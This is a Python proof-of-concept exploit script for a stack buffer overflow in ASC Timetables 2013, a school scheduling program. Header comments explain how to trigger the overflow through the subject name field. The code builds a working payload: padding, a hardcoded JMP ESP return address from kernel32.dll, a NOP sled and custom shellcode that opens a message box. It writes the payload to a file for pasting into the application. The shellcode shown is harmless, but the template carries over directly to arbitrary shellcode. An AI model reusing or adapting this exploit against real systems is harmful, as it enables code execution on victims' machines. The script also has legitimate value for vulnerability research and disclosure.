#!/usr/bin/python# Title : ASC Timetables 2013 - Stack Buffer Overflow Vulnerability# Researcher : Souhail Hammou (Dark-Puzzle)# Research Team : http://itsecurity.ma# Facebook : http://www.facebook.com/dark.puzzle.sec# Date : 22/06/2013# Download Website : www.asctimetables.com/download_en.html########################################################### Software Details :# ASC timetables is a school scheduling software used widely by many schools around the globe to generate unique timetables for students.# it has the features to add school subjects , teachers and manipulate time.# Vulnerability details :# The buffer overflow vulnerability resides in the Add subject functionality, and it's triggered when the user will submit a large string when specifying the #school subject name. To trigger the vulnerability go to the main menu , select subjects , click new then generate a string with the code below and the #software will execute the shellcode which will popup a MessageBox.# Picture : http://oi40.tinypic.com/30rwc2q.jpg
garbage = "D"*512
eip = "\xCB\xC0\x8F\x75"#JMP ESP from kernel32.dll
nopsled = "\x90"*177
shellcode = "\xB8\x23\x58\xA7\x11\x2D\x11\x11\x11\x11\x6A\x14\x50\x50\x33\xC0\x50\xB8\x98\x34\x69\x11\x2D\x11\x11\x11\x11\xFF\xE0"# I have written this shellcode which will popup a "Yes/No" MessageBox with Title and Message : iteDump#MOV EAX,11A75823#SUB EAX,11111111#PUSH 14#PUSH EAX#PUSH EAX#XOR EAX,EAX#PUSH EAX#MOV EAX,11693498#SUB EAX,11111111#JMP EAX
ToInsert = open("file.txt","w")
ToInsert.write(garbage+eip+nopsled+shellcode)
ToInsert.close()